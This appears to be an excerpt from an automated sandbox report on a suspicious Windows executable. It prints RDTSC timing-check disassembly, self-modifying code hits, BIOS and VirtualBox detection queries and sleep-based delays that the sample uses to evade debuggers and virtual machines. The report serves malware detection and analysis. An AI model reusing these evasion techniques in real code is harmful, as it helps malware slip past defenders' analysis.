Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D00E4 second address: 55D016B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F6190F124D1h 0x0000000e mov bh, cl 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F6190F124D3h 0x00000017 xchg eax, edi 0x00000018 pushad 0x00000019 pushad 0x0000001a push esi 0x0000001b pop edx 0x0000001c pushfd 0x0000001d jmp 00007F6190F124CEh 0x00000022 sub esi, 764E3918h 0x00000028 jmp 00007F6190F124CBh 0x0000002d popfd 0x0000002e popad 0x0000002f mov cx, F8CFh 0x00000033 popad 0x00000034 push eax 0x00000035 pushad 0x00000036 mov cx, bx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushfd 0x0000003c jmp 00007F6190F124CDh 0x00000041 sub al, FFFFFFB6h 0x00000044 jmp 00007F6190F124D1h 0x00000049 popfd 0x0000004a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D016B second address: 55D0199 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6190F29210h 0x00000008 or ax, BDD8h 0x0000000d jmp 00007F6190F2920Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0199 second address: 55D019D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D019D second address: 55D01A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D01A3 second address: 55D01A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D01A9 second address: 55D01AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0253 second address: 55D02C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6190F124D1h 0x00000009 sub esi, 5C051DA6h 0x0000000f jmp 00007F6190F124D1h 0x00000014 popfd 0x00000015 mov si, 14D7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c inc ebx 0x0000001d jmp 00007F6190F124CAh 0x00000022 test al, al 0x00000024 jmp 00007F6190F124D0h 0x00000029 je 00007F6190F1267Dh 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F6190F124D7h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D043F second address: 55D0480 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 04FB7A0Ah 0x00000008 mov dx, 2CD6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007F6200D47253h 0x00000015 jmp 00007F6190F2920Dh 0x0000001a mov ebx, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F6190F29218h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0480 second address: 55D048F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D048F second address: 55D050B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6190F2920Fh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F6190F29219h 0x0000000f add ecx, 075FA0F6h 0x00000015 jmp 00007F6190F29211h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e lea eax, dword ptr [ebp-2Ch] 0x00000021 jmp 00007F6190F2920Eh 0x00000026 xchg eax, esi 0x00000027 jmp 00007F6190F29210h 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushad 0x00000031 popad 0x00000032 call 00007F6190F2920Ah 0x00000037 pop ecx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D050B second address: 55D0540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6190F124CDh 0x00000013 jmp 00007F6190F124CBh 0x00000018 popfd 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0540 second address: 55D0556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F29212h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0556 second address: 55D05A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov bx, si 0x0000000d mov dh, cl 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6190F124D7h 0x0000001a and cl, FFFFFFAEh 0x0000001d jmp 00007F6190F124D9h 0x00000022 popfd 0x00000023 mov edi, eax 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D05A9 second address: 55D05B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F2920Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D05B8 second address: 55D0604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6190F124D1h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F6190F124D8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0604 second address: 55D060A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D060A second address: 55D0610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0610 second address: 55D0614 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0636 second address: 55C0DD0 instructions: 0x00000000 rdtsc 0x00000002 mov esi, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edi, 4B949ABCh 0x0000000b popad 0x0000000c test esi, esi 0x0000000e pushad 0x0000000f push edi 0x00000010 movzx esi, bx 0x00000013 pop ebx 0x00000014 mov ecx, 4ED85EB5h 0x00000019 popad 0x0000001a je 00007F6200D304CBh 0x00000020 xor eax, eax 0x00000022 jmp 00007F6190EEBBFAh 0x00000027 pop esi 0x00000028 pop edi 0x00000029 pop ebx 0x0000002a leave 0x0000002b retn 0004h 0x0000002e nop 0x0000002f sub esp, 04h 0x00000032 mov edi, eax 0x00000034 xor ebx, ebx 0x00000036 cmp edi, 00000000h 0x00000039 je 00007F6190F125E4h 0x0000003f call 00007F619582202Ah 0x00000044 mov edi, edi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F6190F124D7h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0DD0 second address: 55C0DED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0DED second address: 55C0E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F6190F124D8h 0x0000000c xor ax, 48C8h 0x00000011 jmp 00007F6190F124CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F6190F124CBh 0x00000024 adc esi, 485D970Eh 0x0000002a jmp 00007F6190F124D9h 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F6190F124D0h 0x00000036 sbb cx, FD88h 0x0000003b jmp 00007F6190F124CBh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0E73 second address: 55C0F04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 pushfd 0x00000007 jmp 00007F6190F29210h 0x0000000c adc cx, DFE8h 0x00000011 jmp 00007F6190F2920Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007F6190F29219h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F6190F2920Ch 0x00000028 or esi, 65EFFD78h 0x0000002e jmp 00007F6190F2920Bh 0x00000033 popfd 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F6190F29216h 0x0000003b xor cx, 97D8h 0x00000040 jmp 00007F6190F2920Bh 0x00000045 popfd 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0F04 second address: 55C0F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 jmp 00007F6190F124D4h 0x0000000d xchg eax, ecx 0x0000000e pushad 0x0000000f mov ecx, 5F273E4Dh 0x00000014 mov ebx, esi 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0F31 second address: 55C0F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0F35 second address: 55C0F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0F3B second address: 55C0F7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6190F29219h 0x00000009 and si, 4B86h 0x0000000e jmp 00007F6190F29211h 0x00000013 popfd 0x00000014 mov ax, B537h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0F7D second address: 55C0F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55C0F81 second address: 55C0F87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0A2B second address: 55D0A31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0A31 second address: 55D0A42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov di, EDB2h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0A42 second address: 55D0A58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F124D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0A58 second address: 55D0AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6190F2920Dh 0x00000010 sbb ecx, 7508C536h 0x00000016 jmp 00007F6190F29211h 0x0000001b popfd 0x0000001c push eax 0x0000001d pushfd 0x0000001e jmp 00007F6190F29217h 0x00000023 sbb eax, 3C5E626Eh 0x00000029 jmp 00007F6190F29219h 0x0000002e popfd 0x0000002f pop ecx 0x00000030 popad 0x00000031 mov ebp, esp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F6190F29219h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0AE2 second address: 55D0AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0AE6 second address: 55D0AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0AEC second address: 55D0AF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0AF4 second address: 55D0B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 cmp dword ptr [7544459Ch], 05h 0x0000000e jmp 00007F6190F2920Bh 0x00000013 je 00007F6200D370F8h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c call 00007F6190F29212h 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0B29 second address: 55D0B95 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6190F124CBh 0x00000008 or esi, 241F033Eh 0x0000000e jmp 00007F6190F124D9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F6190F124D0h 0x0000001c add ecx, 2306A038h 0x00000022 jmp 00007F6190F124CBh 0x00000027 popfd 0x00000028 popad 0x00000029 pop ebp 0x0000002a pushad 0x0000002b call 00007F6190F124D4h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0C0E second address: 55D0C8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6190F2920Fh 0x00000009 sub cl, FFFFFFCEh 0x0000000c jmp 00007F6190F29219h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 call 00007F6200D3E135h 0x0000001c push 753E2B70h 0x00000021 push dword ptr fs:[00000000h] 0x00000028 mov eax, dword ptr [esp+10h] 0x0000002c mov dword ptr [esp+10h], ebp 0x00000030 lea ebp, dword ptr [esp+10h] 0x00000034 sub esp, eax 0x00000036 push ebx 0x00000037 push esi 0x00000038 push edi 0x00000039 mov eax, dword ptr [75444538h] 0x0000003e xor dword ptr [ebp-04h], eax 0x00000041 xor eax, ebp 0x00000043 push eax 0x00000044 mov dword ptr [ebp-18h], esp 0x00000047 push dword ptr [ebp-08h] 0x0000004a mov eax, dword ptr [ebp-04h] 0x0000004d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000054 mov dword ptr [ebp-08h], eax 0x00000057 lea eax, dword ptr [ebp-10h] 0x0000005a mov dword ptr fs:[00000000h], eax 0x00000060 ret 0x00000061 jmp 00007F6190F2920Ah 0x00000066 sub esi, esi 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b pushfd 0x0000006c jmp 00007F6190F2920Ah 0x00000071 add si, CE78h 0x00000076 jmp 00007F6190F2920Bh 0x0000007b popfd 0x0000007c jmp 00007F6190F29218h 0x00000081 popad 0x00000082 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0CDA second address: 55D0D46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6190F124CFh 0x00000009 jmp 00007F6190F124D3h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F6190F124D8h 0x00000015 add al, 00000058h 0x00000018 jmp 00007F6190F124CBh 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 je 00007F6200D1611Fh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F6190F124D0h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0D46 second address: 55D0D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0D4A second address: 55D0D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0D50 second address: 55D0D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F2920Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0D61 second address: 55D0D76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp+08h], 00002000h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0D76 second address: 55D0D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0D7A second address: 55D0D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55D0D7E second address: 55D0D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0902 second address: 55E0931 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6190F124CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0931 second address: 55E0937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0937 second address: 55E093B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E093B second address: 55E093F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E093F second address: 55E0994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F6190F124CFh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov cl, E1h 0x00000013 movsx edx, cx 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F6190F124D3h 0x0000001d xchg eax, esi 0x0000001e jmp 00007F6190F124D6h 0x00000023 mov esi, dword ptr [ebp+0Ch] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0994 second address: 55E0998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0998 second address: 55E099C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E099C second address: 55E09A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E09A2 second address: 55E09AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E09AA second address: 55E09B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test esi, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E09B9 second address: 55E09C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E09C8 second address: 55E0A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6200D26BD8h 0x0000000f jmp 00007F6190F2920Eh 0x00000014 cmp dword ptr [7544459Ch], 05h 0x0000001b jmp 00007F6190F29210h 0x00000020 je 00007F6200D3EC8Dh 0x00000026 pushad 0x00000027 push ecx 0x00000028 push edi 0x00000029 pop esi 0x0000002a pop ebx 0x0000002b mov al, DAh 0x0000002d popad 0x0000002e push esp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 mov dx, A15Eh 0x00000036 pushad 0x00000037 popad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0A29 second address: 55E0A4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 movzx eax, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6190F124D2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0A64 second address: 55E0A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F2920Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6190F2920Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0A81 second address: 55E0A85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0A85 second address: 55E0A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: 55E0A8B second address: 55E0AAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6190F124CEh 0x00000011 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Special instruction interceptor: First address: CD7C52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Special instruction interceptor: First address: CD7B6D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Special instruction interceptor: First address: E6F9A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Special instruction interceptor: First address: CD7BA0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Special instruction interceptor: First address: E7D7AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Special instruction interceptor: First address: EFDA26 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Code function: 0_2_00CDA467 rdtsc

0_2_00CDA467

Source: C:\Users\user\Desktop\hiip7UoiAq.exe TID: 7504	Thread sleep time: -210000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\hiip7UoiAq.exe TID: 7552	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: hiip7UoiAq.exe, hiip7UoiAq.exe, 00000000.00000002.1610575042.0000000000E51000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
